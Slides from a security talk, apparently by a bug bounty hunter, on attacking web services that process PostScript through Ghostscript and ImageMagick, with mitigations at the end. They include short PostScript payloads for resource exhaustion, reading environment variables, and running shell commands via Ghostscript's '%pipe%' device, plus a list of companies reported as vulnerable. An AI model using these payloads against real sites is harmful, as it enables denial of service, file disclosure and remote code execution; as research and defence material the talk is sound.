



PostScript Undead:

Pwning the web with a 35 year old language

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About @jensvoid

- Passionate bounty hunter
- Interests: IoT, web security
- Likes mixing old tech and new tech
 - Printer hacking
 - EFAIL attacks


Today: PostScript in the web

- Remember ImageTragick?




Today: PostScript in the web


- Similar attack surface
- Impact: DoS, LFI, RCE
- But *much* less known



Today: PostScript in the web



Overview



- 1. Motivation**
- 2. Attacking websites**
- 3. Evaluation**
- 4. Mitigations**


PostScript

- Invented by Adobe (1982 – 1984)
- Heavily used on laser printers



PostScript

- Invented by Adobe (1982 – 1984)
- Turing complete language



About 844 results (0,38 seconds)

[\[PS\] A Performance Comparison of the Five AES Finalists](https://www.schneier.com/academic/paperfiles/paper-aes-comparison.ps)

<https://www.schneier.com/academic/paperfiles/paper-aes-comparison.ps>

by B Schneier - 2000 - [Cited by 65](#) - [Related articles](#)

1. A Performance Comparison of the Five AES Finalists. **Bruce Schneier**. security, Inc. 3031 Tisch Way, suite 100PE. san Jose, CA 95128.



Hello World

```
%!PS
```

```
/Helvetica 100 selectfont
```

```
50 500 moveto
```

```
(Hello World) show  
showpage
```

Hello World

Hello World

```
%!PS
```

```
/Helvetica 100 selectfont
```

```
50 500 moveto
```

```
product show
```

```
showpage
```

GPL Ghostscript



Hello World

```
%!PS
```

```
/Helvetica 100 selectfont
```

```
50 500 moveto
```

```
product show
```

```
showpage
```

hp LaserJet 4250



Denial-of-Service (DoS)

- CPU:
- Memory:
- Storage:

```
{ } loop
```

```
{ 65535 array } loop
```

```
null (w) .tempfile  
{dup 0 write} loop
```

Information disclosure

```
%!PS
```

```
/Helvetica 100  
selectfont
```

```
50 500 moveto
```

```
pop show
```

```
showpage
```

Information disclosure

```
%!PS
```

```
/Helvetica 100  
selectfont
```

```
50 500 moveto
```

```
(USER) getenv pop show  
showpage
```


jens

File system access

- Read, write, delete, list, stat
- Depending on Ghostscript version, this is *somewhat* restricted if `-dSAFER` is used

Shell command execution

- RCE by design w/o -dSAFER

A terminal window with a blue title bar and a red header bar. The terminal text shows a user prompt '\$' followed by the command 'gs'. The output shows 'GS>(%pipe%id) (w) file' and 'GS<1>uid=1000(jens) gid=1000(jens) groups=1000(jens)' with a cursor on the next line.

```
jens@ecorp: "  
$ gs  
GS>(%pipe%id) (w) file  
GS<1>uid=1000(jens) gid=1000(jens) groups=1000(jens)  
█
```


Shell command execution

- RCE by design w/o -dSAFER
- Various -dSAFER bypasses



Content masking: example.pdf

Wikimedia Commons


a collection of [49,208,625](#) [freely usable](#) media files to which [anyone can contribute](#)

Picture of the day



Overview

1. Motivation



2. Attacking websites

3. Evaluation

4. Mitigations

Attacking websites with PS/EPS/AI

- Who process PostScript on the web?
 - Conversion websites
 - Thumbnail preview
- PDF is more common these days
 - Can we embed PostScript in PDF?
 - Yes we can (four methods)

Attacking websites with images

- What about `image only' websites?
- Vulnerable if ImageMagick used
 - Has its own file format detection


Chain of escalation



```
$img->resize()
```



Chain of escalation




```
$img->resize()
```

```
Imagick::resizeImage()
```



Chain of escalation



```
$img->resize()
```

```
Imagick::resizeImage()
```

```
convert/libmagick++
```



Chain of escalation



```
$img->resize()
```


```
Imagick::resizeImage()
```

```
convert/libmagick++
```

```
system('/usr/bin/gs')
```



Chain of escalation



```
$img->resize()
```

```
Imagick::resizeImage()
```

```
convert/libmagick++
```

```
system('/usr/bin/gs')
```




“Hey, I just wanted to resize an image...”


Attacking websites

- Additional file type checks required
- How do web applications do it?

- ~~File extension~~
- ~~Content type~~
- ~~Convert file~~
- File header ?





Putting it all together



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Evaluation: Conversion websites



Evaluation: High value websites

LFI (+list)

Microsoft

RCE (no -dSAFER)

Telekom

GMX

Box.com

ZoHo

99Designs

RCE (-dSAFER bypass)

Steam

Imgur

Shutterstock

Basecamp

Evernote

+ 2 Bitcoin Exchanges

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


Countermeasures

- If not required, do not execute PostScript
 - Remove ImageMagick handlers (policy.xml)
 - PDF: Replace Ghostscript with Poppler
- If required, use additional sandboxing
 - chroot, firejail, seccomp, ...

Conclusion

- **PostScript must die!**



Ghostscript exploitation:
<http://bit.ly/gs-cheat-sheet>

Thank you!
Questions?